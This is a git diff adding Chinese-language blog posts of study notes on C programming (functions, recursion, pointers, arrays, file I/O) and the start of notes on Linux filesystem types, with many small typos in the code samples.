int a,b;
|
||||
scanf("%d%d",&a,&b);
|
||||
printf("%d",fun1(a,b));
|
||||
return0;
|
||||
}
|
||||
```
|
||||
|
||||
## 函数的递归调用
|
||||
|
||||
**在调用一个函数的过程中又直接或间接地调用该函数本身**
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
unsigned fac(int n)
|
||||
{
|
||||
unsigned f;
|
||||
if (n==0)
|
||||
f = 1;
|
||||
else
|
||||
f = fac(n-1)*n;
|
||||
return f;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
unsigned n,y;
|
||||
scanf("%d",&n);
|
||||
y = fac(n);
|
||||
printf("%d!=%d\n",n,y);
|
||||
return0;
|
||||
}
|
||||
```
|
||||
|
||||
## 数组作为函数参数(数组元素和数组名)
|
||||
|
||||
- 调用有参函数时,需要提供实参。
|
||||
- 实参可以是常量、变量、表达式。
|
||||
- 数组元素和数组名也可以作为函数的实参。
|
||||
|
||||
### 1、数组元素作为函数参数
|
||||
|
||||
- 与变量作用相当,凡是变量可以出现的地方,都可以用数组元素代替。
|
||||
|
||||
- 数组元素**只可以作为函数的实参,不可以用作形参。**
|
||||
|
||||
- 因为形参是在函数被调用时临时分配存储单元的,不可能为一个数组元素单独分配存储单元。
|
||||
|
||||
- 而实参的传递是单向值传递。
|
||||
|
||||
```c
|
||||
//已知10个三角形的三边长,求它们的面积。
|
||||
#include<math.h>
|
||||
#include<stdio.h>
|
||||
float area(float a,float b,float c)
|
||||
{
|
||||
float p,s;
|
||||
p = (a+b+c)/2;
|
||||
s = sqrt(p*(p-a)*(p-b)*(p-c));
|
||||
return(s);
|
||||
}
|
||||
int main()
|
||||
{
|
||||
floata[10],b[10],c[10],s[10];
|
||||
int i;
|
||||
for(i=0;i<10;i++)
|
||||
{
|
||||
scanf("%f%f%f",&a[i],&b[i],&c[i]);
|
||||
s[i]=area(a[i],b[i],c[i]);
|
||||
printf("s[%d]=%f\n",i+1,s[i]);
|
||||
}
|
||||
return0;
|
||||
}
|
||||
```
|
||||
|
||||
### 2、数组名作为函数参数
|
||||
|
||||
#### 1、一维数组名作为函数参数
|
||||
|
||||
- 数组名既可以作形参,也可以作实参。
|
||||
|
||||
- 数组名表示的是数组第一个元素的地址
|
||||
|
||||
- 形参数组可以不指定大小,但在定义数组时,需要在数组名后加上一个空的方括号
|
||||
|
||||
```c
|
||||
float average(float array[]) //定义average函数,形参数组不指定大小
|
||||
```
|
||||
|
||||
- 由于用数组名作函数实参时,不是把数组元素的值传给形参,而是把实参数组的首元素地址传递给形参数组,因此这两个数组共用一段内存单元。即形参数组中各元素的值如果发生了变化,会使实参数组元素的值同时发生变化。
|
||||
|
||||
```c
|
||||
//形参和实参共享一段内存单元
|
||||
#include <stdio.h>
|
||||
void fun(int b[])
|
||||
{
|
||||
int i;
|
||||
for (i=0;i<=4;i++)
|
||||
{
|
||||
b[i] = 100;
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
int a[5] = {0};
|
||||
int i;
|
||||
fun(a);
|
||||
for (i=0;i<=4;i++)
|
||||
{
|
||||
printf("%d",a[i]);
|
||||
}
|
||||
return0;
|
||||
}
|
||||
```
|
||||
|
||||
#### 2、多维数组名作函数参数
|
||||
|
||||
- 多维数组元素可以作为函数参数,在被调用函数中,对形参数组定义时,可以指定每一维大小,也可省略第一维大小。
|
||||
|
||||
```c
|
||||
//一下两种均合法
|
||||
|
||||
int array[3][10];
|
||||
int array[][10];
|
||||
```
|
||||
|
||||
- 但不能将2为或更高维的大小省略
|
||||
|
||||
```
|
||||
//错误示范
|
||||
|
||||
int array[][]
|
||||
int array[3][]
|
||||
```
|
||||
|
||||
- 第二维大小相同的前提下,形参数组第一维可以与实参数组不同
|
||||
|
||||
```c
|
||||
实参数组定义:int score[5][10];
|
||||
形参数组定义:int array[][10]; 或 int array[8][10];
|
||||
```
|
||||
|
||||
## 局部变量和全局变量
|
||||
|
||||
- 量必须先定义,后使用
|
||||
- 在一个函数中定义的变量,在其他函数中能否被引用?====》**作用域**
|
||||
- 在**函数内**定义的变量是**局部变量**,在**函数外**定义的变量是**外部变量**,**外部变量**是**全局变量**
|
||||
|
||||
### 1、定义变量的三种情况
|
||||
|
||||
- 在函数开头定义(作用范围:从定义处开始至本函数结束)局部变量
|
||||
- 在函数内的复合语句内定义(作用范围:本复合语句范围内)局部变量
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
int main()
|
||||
{
|
||||
int a=1,b=2;
|
||||
{
|
||||
int c;
|
||||
c = a+b;
|
||||
printf("%d",c); //可以输出
|
||||
} //c的作用范围仅限于该复合语句块内
|
||||
printf("%d",c); //会报错,显示c未被定义
|
||||
return0;
|
||||
}
|
||||
```
|
||||
|
||||
- 在函数的外部定义(作用范围:从定义变量的位置开始到本源文件结束)外部变量
|
||||
|
||||
### 2、其他注意事项
|
||||
|
||||
- 在一个函数中既可以使用本函数中的局部变量,也可以使用有效的全局变量
|
||||
- 设置全局变量可以增加函数间数据联系的渠道,但也因此如果在一个函数中改变了全局变量的值,
|
||||
- 就会影响到其他函数全局变量的值。
|
||||
- 因函数调用只能带回一个函数返回值,因此有时可以利用全局变量得到一个以上的值。
|
||||
- 不成文的规定:将全局变量首字母大写
|
||||
- 非必要不使用全局变量
|
||||
- 长时间占用存储空间
|
||||
- 函数通用性降低
|
||||
- 增加了耦合性(各函数之间关联变多)
|
||||
- 移植性差
|
||||
- 降低了清晰性
|
||||
- 若在同一个源文件中,全局变量和局部变量同名,在局部变量的作用范围内,全局变量会被屏蔽。
|
||||
|
||||
## 变量的存储方式和生存期
|
||||
|
||||
- 从变量值的存在时间(生存期)来看,变量的存储可以分为**静态存储方式**和**动态存储方式**。
|
||||
- 静态存储方式:程序运行期间由系统分配固定的存储空间(全局变量全部存放在静态存储区中)
|
||||
- 动态存储方式:程序运行期间,根据需要动态的分配存储空间。(函数形参,自动变量,函数调用时的现场保护和返回地址)
|
||||
|
||||
### 1、局部变量的存储类别
|
||||
|
||||
#### 1、自动变量(auto)
|
||||
|
||||
- 特点:在调用该函数时,系统会给这些变量分配存储空间,在函数调用结束时就自动释放这些存储空间
|
||||
|
||||
- 函数中的形参和在函数中定义的局部变量都属于自动变量
|
||||
|
||||
- 不写auto则隐含指定为自动存储类别
|
||||
|
||||
```
|
||||
int fac(int a)
|
||||
{
|
||||
auto int b,c=3; //与intb,c=3;完全等价
|
||||
.....
|
||||
}
|
||||
```
|
||||
|
||||
#### 2、静态局部变量(static)
|
||||
|
||||
- 特点:函数中局部变量的值在函数调用结束后不消失而继续保留原值,在下一次调用该函数时,该变量已有值。
|
||||
|
||||
#### 3、寄存器变量(register)
|
||||
|
||||
- 对于一些频繁使用的变量,可将其存储在具有高速存取速率的寄存器中,这种变量叫寄存器变量
|
||||
|
||||
```
|
||||
register int f;
|
||||
```
|
||||
|
||||
- 目前已不需要,遇到能看懂即可。
|
||||
|
||||
### 全局变量的存储类别
|
||||
|
||||
**1、在一个文件内扩展外部变量的作用域(extern关键字)**
|
||||
**2、将外部变量的作用域扩展到其他文件(extern关键字)**
|
||||
**3、将外部变量的作用域限制在本文件中(定义变量时加上static声明)**
|
||||
|
||||
- 对局部变量用static声明,把它分配在静态存储区,该变量在整个程序执行期间不释放,其所分配的空间始终存在。
|
||||
*对全局变量用static声明,则该变量的唑酮与只限于本文件模块(即被声明的文件中)。
|
||||
|
||||
## 关于变量的声明和定义
|
||||
|
||||
### 1、对于函数而言
|
||||
|
||||
- 函数的声明时函数的原型,函数的定义是对函数功能的定义。
|
||||
|
||||
### 2、对变量而言
|
||||
|
||||
*建立存储空间的声明称为定义,不建立存储空间的声明称为声明。
|
||||
|
||||
## 内部函数和外部函数
|
||||
|
||||
- 根据函数能否被其他源文件调用,将函数区分为内部函数和外部函数
|
||||
|
||||
### 1、内部函数(静态函数)
|
||||
|
||||
如果一个函数只能被本文件中其他函数所调用,则称为内部函数。定义内部函数时,在函数名和函数类型的前面加static,即
|
||||
|
||||
```
|
||||
static 类型名 函数名(形参名)
|
||||
```
|
||||
|
||||
### 2、外部函数
|
||||
|
||||
如果在定义函数时,在函数首部的左端加关键字extern,则此函数时外部函数,可供其他文件调用
|
||||
|
||||
```
|
||||
extern int fun(int a,int b)
|
||||
```
|
||||
|
||||
若在定义时省略extern,则默认为外部函数
|
||||
459
src/content/posts/c_learn_4.md
Normal file
459
src/content/posts/c_learn_4.md
Normal file
@ -0,0 +1,459 @@
|
||||
---
|
||||
title: C语言学习-4
|
||||
published: 2022-12-01
|
||||
description: ''
|
||||
image: 'https://t.alcy.cc/fj'
|
||||
tags: [C语言, 笔记]
|
||||
category: '笔记'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
## 指针
|
||||
|
||||
### 1、了解数据在内存中如何存取
|
||||
|
||||
- 定义变量后,系统会为该变量分配内存单元。
|
||||
|
||||
```
|
||||
int i=5; //编译系统根据所定义变量类型(int)分配4个字节的存储空间供使用,且该存
|
||||
储空间的名字为i,内部存储数据为5;
|
||||
```
|
||||
|
||||
- 内存中每一个字节都有一个编号——》地址
|
||||
|
||||
- 根据地址能定位至内存中的某一确定位置
|
||||
|
||||
- 使用地址和变量名均可访问到数据(即对内存中数据的访问有两种形式:直接访问和间接访问)
|
||||
|
||||
- 直接访问:按变量名存取变量值(知道房间名,直接看门牌去)
|
||||
- 间接访问:通过存放变量地址的变量去访问变量。(不知道房间名,也不知道地址,询问服务人员得知在2楼第1间,进入房间)
|
||||
|
||||
举例:
|
||||

|
||||
|
||||
### 2、什么是指针
|
||||
|
||||
- 指针:地址
|
||||
- 指针变量:专门用来存放另一变量的地址(指针)的变量。
|
||||
- 区分指针和指针变量
|
||||
- 指针变量中存放指针
|
||||
- 指针是一个具体的地址
|
||||
|
||||
## 指针变量
|
||||
|
||||
### 1、定义指针变量
|
||||
|
||||
- 定义指针的一般形式
|
||||
|
||||
```
|
||||
类型名 *指针变量名
|
||||
int *p; //定义一个指针变量p,规定其可以指向整型变量。
|
||||
```
|
||||
|
||||
注意事项:
|
||||
note red modern
|
||||
指针变量前面的”*”表示该变量为指针型变量,指针变量名是p,而不是 *p。
|
||||
|
||||
在定义指针变量时必须指定**基类型**(因为不同类型的数据在内存中所占的字节数和存放方式是不同的)
|
||||
指向整形数据的指针类型表示为“int*”,读作指向int的指针,或 int指针
|
||||
|
||||
指针变量中只能存放地址(指针),试图将一个整数赋给一个指针变量是不合法的。
|
||||
|
||||
endnote
|
||||
|
||||
### 2、引用指针变量
|
||||
|
||||
- 给指针变量赋值
|
||||
|
||||
```c
|
||||
p = &a; //把a的地址赋给指针变量p;
|
||||
```
|
||||
|
||||
- 引用指针变量指向的变量
|
||||
|
||||
```c
|
||||
p = &a;
|
||||
printf("%d",*p); //输出p所指向的变量的值,即a的值,*p的使用与a相同
|
||||
```
|
||||
|
||||
- 引用指针变量的值
|
||||
|
||||
```c
|
||||
printf("%o",p); //以八进制输出指针变量p的值,p指向a,则输出a的地址
|
||||
```
|
||||
|
||||
- **强调两个运算符。**
|
||||
|
||||
> “&”取地址运算符 &a是变量a的地址
|
||||
> “*” 指针运算符(间接访问运算符) *p代表指针变量p指向的对象
|
||||
|
||||
例:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
int main()
|
||||
{
|
||||
int a=50 , *p ;
|
||||
p=&a ;
|
||||
*p=100;
|
||||
printf("%d, %d, %o\n", a, *p, p); //100, 100, 30577024
|
||||
printf("%o, %o\n",&*p, &a); //30577024, 30577024
|
||||
printf("%d, %d\n",*&a, *p); //100, 100
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### 3、指针变量作为函数参数
|
||||
|
||||
以输入a和b两个整数,按大小顺序输出为例
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
int main()
|
||||
{
|
||||
int *p1, *p2, *p, a, b;
|
||||
scanf("%d, %d", &a, &b);
|
||||
p1=&a; p2=&b;
|
||||
if ( a<b )
|
||||
{
|
||||
p=p1; p1=p2; p2=p;
|
||||
}
|
||||
printf("a=%d, b=%d\n", a, b);
|
||||
printf("max=%d, min=%d\n", *p1, *p2);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
//a=5 , b=7
|
||||
//max=7 , min=5
|
||||
void swap(int x, int y)
|
||||
{
|
||||
int t;
|
||||
t=x; x=y; y=t;
|
||||
}
|
||||
#include<stdio.h>
|
||||
int main( )
|
||||
{
|
||||
int a, b;
|
||||
scanf("%d,%d",&a,&b);
|
||||
if ( a<b )
|
||||
swap(a, b);
|
||||
printf("%d,%d\n", a,b);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
//5,7
|
||||
void swap(int *p1, int *p2)
|
||||
{
|
||||
int *p;
|
||||
p=p1; p1=p2; p2=p; }
|
||||
#include<stdio.h>
|
||||
int main( )
|
||||
{
|
||||
int a, b, *pa, *pb;
|
||||
scanf("%d, %d", &a, &b);
|
||||
pa=&a; pb=&b;
|
||||
if ( a<b )
|
||||
swap(pa, pb);
|
||||
printf("%d,%d\n",*pa,*pb);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
//5, 7
|
||||
void swap(int *p1, int *p2)
|
||||
{
|
||||
int *p; //加上int c; p=&c; 即可成功
|
||||
*p=*p1; *p1=*p2; *p2=*p;
|
||||
}
|
||||
#include<stdio.h>
|
||||
int main( )
|
||||
{
|
||||
int a, b, *pa, *pb;
|
||||
scanf("%d, %d", &a, &b);
|
||||
pa=&a; pb=&b;
|
||||
if ( a<b )
|
||||
swap(pa, pb);
|
||||
printf("%d, %d\n", a, b);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
//Run-Time Check Failure #3 - The variable 'p' is being used without being initialized.
|
||||
void swap(int *p1, int *p2)
|
||||
{
|
||||
int p;
|
||||
p=*p1; *p1=*p2; *p2=p; }
|
||||
#include<stdio.h>
|
||||
int main( )
|
||||
{
|
||||
int a, b, *pa =&a, *pb =&b;
|
||||
scanf("%d, %d", pa, pb);
|
||||
if ( a<b )
|
||||
swap(pa, pb);
|
||||
printf("%d, %d\n", a, b);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
//7, 5
|
||||
```
|
||||
|
||||
- **函数调用不能改变实参指针变量的值,但可以改变其所指向的变量的值。**
|
||||
- 主调函数和被调函数之间数值传递的方式
|
||||
- 实参—->形参的数据传递;return语句。
|
||||
- 全局变量。
|
||||
- 形参为指针。
|
||||
- 函数参数(形参或实参)为数组名或指针
|
||||
|
||||
```c
|
||||
void fun(int a,int b,int *c,int *d)
|
||||
{ *c=a+b ; *d=a-b ; }
|
||||
#include<stdio.h>
|
||||
int main( )
|
||||
{
|
||||
int x , y , z , w ;
|
||||
scanf("%d,%d",&x , &y ) ;
|
||||
fun( x , y, &z , &w ) ;
|
||||
printf("%d,%d\n" , z , w ) ;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
## 通过指针引用数组
|
||||
|
||||
- 关于数组
|
||||
|
||||
```c
|
||||
int a[5]; //定义一个长度为5的整型数组,内含5个数组元素:
|
||||
a[0],a[1],a[2],a[3],a[4]
|
||||
//对于数组元素的引用与普通变量相同
|
||||
//数组名a代表数组中首个元素的地址,即a[0]的地址
|
||||
```
|
||||
|
||||
更多关于数组
|
||||
|
||||
点此跳转
|
||||
|
||||
### 1、数组元素的指针
|
||||
|
||||
- 指针变量既然可以指向变量,自然也可以指向数组元素。
|
||||
|
||||
```c
|
||||
inta[5]={1,2,3,4,5};//定义a为包含5个整型数据的数组
|
||||
```
|
||||
|
||||
```c
|
||||
int*p; //定义p为指向整型变量的指针变量
|
||||
p=&a[0]; //把a[0]元素的地址赋给指针变量
|
||||
```
|
||||
|
||||
等价于
|
||||
|
||||
```c
|
||||
int*p=&a[0];//定义时直接进行初始化
|
||||
```
|
||||
|
||||
等价于
|
||||
|
||||
```c
|
||||
int*p=a;//因为数组名a代表的就是&a[0]
|
||||
```
|
||||
|
||||
### 2、在引用数组元素时的指针运算
|
||||
|
||||
**运算:数据的加减乘除**
|
||||
**指针是内存地址编号,运算的意义?**
|
||||
**一定条件下,允许对指针进行加减运算。**
|
||||
**该条件指:指针指向数组元素。**
|
||||
|
||||
- 如果指针变量p已指向数组中的某个元素
|
||||
*p+1指向数组中该元素的下一个元素//指针运算中加减的数值是默认乘以(该数据类型所占内存字节数)之后参与运算的
|
||||
|
||||
- p-1指向数组中该元素的上一个元素
|
||||
|
||||
- p++,++p,p–,–p,+=,-=均是合法运算
|
||||
|
||||
- 的初值未&a[0],则p+i和a+i就是数组元素a[i]的地址。
|
||||
|
||||
- *(p+i)或*(a+i)就是p+i或a+i所指向的数组元素
|
||||
|
||||
- 若指针p和q均指向同一数组中的元素,则执行p-q,所得结果表示两者所指元素中间的差值个数。
|
||||
*p+q无意义。
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
int main()
|
||||
{
|
||||
int a[3]={100,200,300};
|
||||
int *p=a; //等价于int*p=&a[0];
|
||||
int *q=&a[1];
|
||||
printf("%d",*p); //100
|
||||
printf("%d",*(p+2)); //300
|
||||
printf("%d",*(q-1)); //100
|
||||
printf("%d",*(a+2)); //300
|
||||
printf("%d",q-p); //1
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### 3、通过指针引用数组元素
|
||||
|
||||
- 引用一个数组元素,可以用下面两种方法:
|
||||
- 下标法a[i]
|
||||
- 指针法*(a+i)或*(p+i)//a是数组名,p是指向数组中首元素的指针变量。
|
||||
查看课本P231页例8.6
|
||||
|
||||
note red modern
|
||||
**注意:**
|
||||
|
||||
- 可以通过改变指针变量的值指向不同的元素例p++,但需注意不能通过数组名a变化的方法,因为数组名a为一个指针型常量。
|
||||
- 使用指针变量时,需要注意指针变量的当前值。
|
||||
|
||||
endnote
|
||||
|
||||
### 4、用数组名做函数参数
|
||||
|
||||
- 就第七章所学,当用数组名做参数时,形参数组中各元素值发生改变,实参数组元素值随之变化作解释
|
||||
|
||||
- 实参数组名代表该数组首元素地址
|
||||
|
||||
- 形参用来接收从实参传递过来的数组首元素地址。
|
||||
|
||||
- 因此,形参是一个指针变量(因为只有指针变量才能存放地址)
|
||||
|
||||
- 实际上,C编译将形参数组名作为指针变量来处理。
|
||||
|
||||
```c
|
||||
fun(int arr[],int n); //等效于fun(int *arr,int n);
|
||||
```
|
||||
|
||||
- 实参数组名代表一个固定的地址,或者说是指针常量,但形参数组名并不是一个固定的地址,而是按指针变量处理。因此在函数执行期间,它可以再被赋值。
|
||||
|
||||
**若有一个实参数组,要想在函数中改变此数组中元素的值,实参与形参对应关系有以下四种情况:**
|
||||
|
||||
- 形参和实参都用数组名
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void fun(int b[])
|
||||
{
|
||||
int i;
|
||||
for(i=0;i<=4;i++)
|
||||
{
|
||||
b[i]=100;
|
||||
}
|
||||
}
|
||||
int main()
|
||||
{
|
||||
int a[5]={0};
|
||||
int i;
|
||||
fun(a);
|
||||
for(i=0;i<=4;i++)
|
||||
{
|
||||
printf("%d",a[i]);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
- 实参用数组名,形参用指针变量
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void fun(int*b)
|
||||
{
|
||||
int i;
|
||||
for(i=0;i<=4;i++)
|
||||
{
|
||||
*(b+i)=100;
|
||||
}
|
||||
}
|
||||
int main()
|
||||
{
|
||||
int a[5]={0};
|
||||
int i;
|
||||
fun(a);
|
||||
for(i=0;i<=4;i++)
|
||||
{
|
||||
printf("%d",a[i]);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
- 实参形参都用指针变量
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void fun(int*b)
|
||||
{
|
||||
int i;
|
||||
for(i=0;i<=4;i++)
|
||||
{
|
||||
*(b+i)=100;
|
||||
}
|
||||
}
|
||||
int main()
|
||||
{
|
||||
int a[5]={0};
|
||||
int i;
|
||||
int *p;
|
||||
p=a;
|
||||
fun(p);
|
||||
for(i=0;i<=4;i++)
|
||||
{
|
||||
printf("%d",a[i]);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
- 实参为指针变量,形参为数组名
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void fun(int b[])
|
||||
{
|
||||
int i;
|
||||
for(i=0;i<=4;i++)
|
||||
{
|
||||
b[i]=100;
|
||||
}
|
||||
}
|
||||
int main()
|
||||
{
|
||||
int a[5]={0};
|
||||
int i;
|
||||
int *p;
|
||||
p=a;
|
||||
fun(p);
|
||||
for(i=0;i<=4;i++)
|
||||
{
|
||||
printf("%d",a[i]);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
## 通过指针引用字符串
|
||||
|
||||
### 1、引用字符串的两种方法:
|
||||
|
||||
- 字符数组内存放字符串,用数组名和%s输出
|
||||
- 用字符指针变量指向一个字符串常量,通过字符指针变量引用字符串常量。
|
||||
|
||||
### 2、字符指针作函数参数
|
||||
|
||||
**实参与形参对应关系有以下四种情况**
|
||||
|
||||
- 形参和实参都用字符数组名
|
||||
- 实参用数组名,形参用字符指针变量
|
||||
- 实参形参都用指针变量
|
||||
- 实参为指针变量,形参为字符数组名
|
||||
227
src/content/posts/c_learn_5.md
Normal file
227
src/content/posts/c_learn_5.md
Normal file
@ -0,0 +1,227 @@
|
||||
---
|
||||
title: C语言学习-5
|
||||
published: 2022-12-20
|
||||
description: ''
|
||||
image: 'https://t.alcy.cc/fj'
|
||||
tags: [C语言, 笔记]
|
||||
category: '笔记'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
## 打开与关闭文件
|
||||
|
||||
### 1、用fopen打开文件
|
||||
|
||||
- fopen(文件名,使用文件方式)
|
||||
|
||||
```c
|
||||
fopen("D:\\date\\Mystudio\\demo.txt","r+");
|
||||
fopen("D:/date/Mystudio/demo.txt","r+"); //绝对路径
|
||||
```
|
||||
|
||||
- fopen函数的返回值是只要操作文件(demo.txt)的指针,若出错,将返回一个空指针(NULL)。
|
||||
|
||||
- 因此,一般是将fopen函数返回值赋给一个指向文件的指针变量。
|
||||
|
||||
```c
|
||||
FILE *fp; //定义一个文件指针
|
||||
//打开一个文件,"r+"表示可读可写的模式打开
|
||||
fp = fopen("D\\date\\Mystudio\\demo.txt","r+");
|
||||
if(fp==NULL)
|
||||
printf("文件demo打开失败");
|
||||
else
|
||||
printf("文件demo打开成功");
|
||||
fclose(fp); //关闭文件
|
||||
```
|
||||
|
||||
### 2、用fclose关闭文件
|
||||
|
||||
- fclose(文件指针);
|
||||
|
||||
```c
|
||||
fclose(fp);
|
||||
```
|
||||
|
||||
- 如不关闭文件就结束程序可能会丢失数据。
|
||||
|
||||
- fclose函数也会返回一个值,当成功执行了关闭为文件操做,返回值为0,否则返回EOF(-1);
|
||||
|
||||
## 顺序读写数据文件
|
||||
|
||||
### 向文件读写字符
|
||||
|
||||
#### 1、fgetc(fp) 从fp指向的文件读入一个字符
|
||||
|
||||
- 读成功则返回所读的字符,失败则返回u文件结束标志EOF(-1);
|
||||
|
||||
```c
|
||||
char c=fgetc(fc);
|
||||
```
|
||||
|
||||
#### 2、fputc(ch.fp); 把字符ch写道文件指针变量fp所指向的文件中
|
||||
|
||||
- 输出成功,则返回值就是输出的字符,失败就会返回EOF(-1);
|
||||
|
||||
#### 3、feof(fp)函数用来判断文件是否结束
|
||||
|
||||
- 如果遇到文件结束,函数feo(fp)的值为非零值,否则为0
|
||||
|
||||
```c
|
||||
char c;
|
||||
c = fuputc(ch.fp)
|
||||
while(!feof(fp))
|
||||
{
|
||||
printf("%c",c);
|
||||
c = fputc(ch,fp);
|
||||
}
|
||||
//输出文件中的所有字符
|
||||
```
|
||||
|
||||
### 向文件读写字符串
|
||||
|
||||
#### 1、fgets(str,n,fp)从fp指向的文件读如一个长度为(n-1)的字符串
|
||||
|
||||
- 读成功则返回地址str,否则返回NULL;
|
||||
|
||||
```c
|
||||
FILE *fp;
|
||||
char c[15];
|
||||
fp = fopen("D:/date/Mystudio/demo.txt","r+");
|
||||
fgets(c,15,fp);
|
||||
print("%s",c);
|
||||
```
|
||||
|
||||
#### 2、fputs(str,fp)把str指向的字符串写道文件指针变量fp所指向的文件中
|
||||
|
||||
- 输出成功则返回 0 ,否则返回非0值
|
||||
|
||||
```c
|
||||
FILE *fp;
|
||||
char c[15]={"Hello Linux."};
|
||||
fp = fopen("d/date/Mystdio/demo.txt","r+");
|
||||
fputs(c,fp);
|
||||
```
|
||||
|
||||
### 用格式化方式读写文本
|
||||
|
||||
#### fprint(文件指针,格式字符串,输出列表)格式化输出字符
|
||||
|
||||
```c
|
||||
FILE *fp;
|
||||
fp = fopen("D;/date/Mystudio/demo.txt","r+");
|
||||
int i =5;
|
||||
float f = 6.5;
|
||||
fprint(fp,"i = %d,f = %6.2f",i,f);
|
||||
```
|
||||
|
||||
#### 2、fcanf(文件指针,格式字符串,输出列表)格式化读入字符
|
||||
|
||||
```c
|
||||
FILE *fp;
|
||||
fp - fopen("D:/dete/Mystudio/demo.txt","r+");
|
||||
int i;
|
||||
float f;
|
||||
fscanf(fp,"%d%f",&i,&f);
|
||||
printf("%6.2f",i+f);
|
||||
```
|
||||
|
||||
### 用二进制方式向文件读写一组数据
|
||||
|
||||
#### 1、fwrite(butter,size,count,fp);向文件写数据块
|
||||
|
||||
| 名字 | 解释 |
|
||||
| ------ | -------------- |
|
||||
| butter | 地址 |
|
||||
| size | 字节数 |
|
||||
| count | 要写多少数据块 |
|
||||
| fp | FILE类型指针 |
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdio.h>
|
||||
|
||||
struct Student
|
||||
{
|
||||
char name[20];
|
||||
char addr[20];
|
||||
}s1[3]={
|
||||
{"lingren","Daoqi120"},
|
||||
{"zhongli","liyue100"},
|
||||
{"baerzebu","Daoqi100"},
|
||||
};
|
||||
int main()
|
||||
{
|
||||
FILE *fp;
|
||||
fp = fopen("E:/USERS/桌面文件/test.txt","r+");
|
||||
int i;
|
||||
for(i=0;i<3;i++)
|
||||
fwrite(&s1[i],sizeof(struct Student),1,fp);
|
||||
fclose(fp);
|
||||
|
||||
wreturn 0;
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
#### 2、fread(buffer,size,count,fp); 从文件中读数据块
|
||||
|
||||
### 五、随机读写数据文件
|
||||
|
||||
#### 1、rewind函数 使文件位置标记指向文件开头
|
||||
|
||||
#### 2、fseek(文件类型指针,位移量,起始点) 改变文件位置标记
|
||||
|
||||
```c
|
||||
fseek(fp,0,SEEK_SET); //光标移动到文件开头后往后偏移0个字节的位置
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
struct Student
|
||||
{
|
||||
char name[10];
|
||||
char addr[10];
|
||||
}s1[4]={
|
||||
{"lingren","Daoqi120"},
|
||||
{"zhongli","liyue100"},
|
||||
{"baerzebu","Daoqi100"},
|
||||
};
|
||||
int main()
|
||||
{
|
||||
FILE *fp;
|
||||
fp = fopen("E:/USERS/桌面文件/test.txt","r+");
|
||||
int i;
|
||||
for(i=0;i<3;i++)
|
||||
fwrite(&s1[i],sizeof(struct Student),1,fp);
|
||||
fseek(fp,sizeof(struct Student),SEEK_SET);
|
||||
fread(&s1[3],sizeof(struct Student),1,fp);
|
||||
printf("%s,%s",s1[3].name,s1[3].addr);
|
||||
fclose(fp);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### 六、文件读写出错检测
|
||||
|
||||
#### 1、ferror(fp) 检测是否出错
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
int main(void)
|
||||
{
|
||||
FILE* fp;
|
||||
fp = fopen("demo.txt","w");
|
||||
fgetc(fp);
|
||||
if (ferror(fp))
|
||||
{
|
||||
printf("读取出错\n");
|
||||
printf("%d\n",ferror(fp));
|
||||
clearerr(fp);
|
||||
printf("%d\n",ferror(fp));
|
||||
}
|
||||
fclose(fp);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
1572
src/content/posts/cloud_linux_1.md
Normal file
1572
src/content/posts/cloud_linux_1.md
Normal file
File diff suppressed because it is too large
Load Diff
614
src/content/posts/cloud_linux_2.md
Normal file
614
src/content/posts/cloud_linux_2.md
Normal file
@ -0,0 +1,614 @@
|
||||
---
|
||||
title: 云计算 - Linux系统管理
|
||||
published: 2023-03-27
|
||||
description: ''
|
||||
image: 'https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg'
|
||||
tags: [云计算, 笔记]
|
||||
category: '笔记'
|
||||
draft: false
|
||||
lang: ''
|
||||
---
|
||||
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
## 文件系统
|
||||
|
||||
> - 文件系统格式操作系统用于明确存储设备或分区上的文件的方法和数据结构,即在储存设备上组织文件的方法.
|
||||
|
||||
- 操作系统中负责管理和储存文件信息的软件机构称为文件下管理系统,简称文件系统.
|
||||
- 文件系统时命名文件以及放置文件逻辑级储存和恢复的系统.
|
||||
|
||||
## 文件系统类型
|
||||
|
||||
> - 本地文件系统(基于磁盘的文件系统):
|
||||
> - Windows系统: FAT,NTFS
|
||||
> - Linux系统: EXT2,EXT3,EXT4,XFS
|
||||
> - Unix系统: ZFS,JFS,JFS2,HFS
|
||||
|
||||
- 网络文件系统:
|
||||
- NTFS,GFS,GFS2,NFS,CIFS
|
||||
- 虚拟文件系统: 基于内存的文件系统
|
||||
- TMPFS
|
||||
- PROC
|
||||
- SYSFS
|
